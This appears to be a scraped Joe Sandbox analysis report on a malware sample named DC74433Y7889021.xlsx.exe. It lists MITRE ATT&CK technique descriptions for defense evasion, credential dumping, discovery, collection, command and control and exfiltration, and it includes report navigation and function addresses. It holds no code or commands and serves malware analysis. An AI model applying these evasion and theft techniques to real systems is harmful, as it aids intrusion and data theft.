Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report DC74433Y7889021.xlsx.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DC74433Y7889021.xlsx.exe.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Snort IDS Alerts

Suricata IDS Alerts

Windows Analysis Report
DC74433Y7889021.xlsx.exe

Function 02B5A690 Relevance: 1.7, APIs: 1, Instructions: 194
COMMON

Function 02B5CB58 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Function 02B5BDE0 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Function 02B5A100 Relevance: 1.6, APIs: 1, Instructions: 63
libraryCOMMON

Function 02B5A118 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Function 02B5AB00 Relevance: 1.6, APIs: 1, Instructions: 53
libraryCOMMON

Function 02B5A880 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Function 07239014 Relevance: 1.5, APIs: 1, Instructions: 47
windowCOMMON

Function 0723B100 Relevance: 1.5, APIs: 1, Instructions: 46
windowCOMMON

Function 023B6FC8 Relevance: 6.8, Strings: 5, Instructions: 517
COMMON

Function 023BC146 Relevance: 6.5, Strings: 5, Instructions: 251
COMMON

Function 023B5362 Relevance: 6.4, Strings: 5, Instructions: 195
COMMON

Function 023BC468 Relevance: 6.4, Strings: 5, Instructions: 191
COMMON

Function 023BD278 Relevance: 6.4, Strings: 5, Instructions: 185
COMMON

Function 023BCA08 Relevance: 6.4, Strings: 5, Instructions: 185
COMMON

Function 023BCCD8 Relevance: 6.4, Strings: 5, Instructions: 185
COMMON

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Application Log: Application Log Content, Cloud Storage: Cloud Storage Access, Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre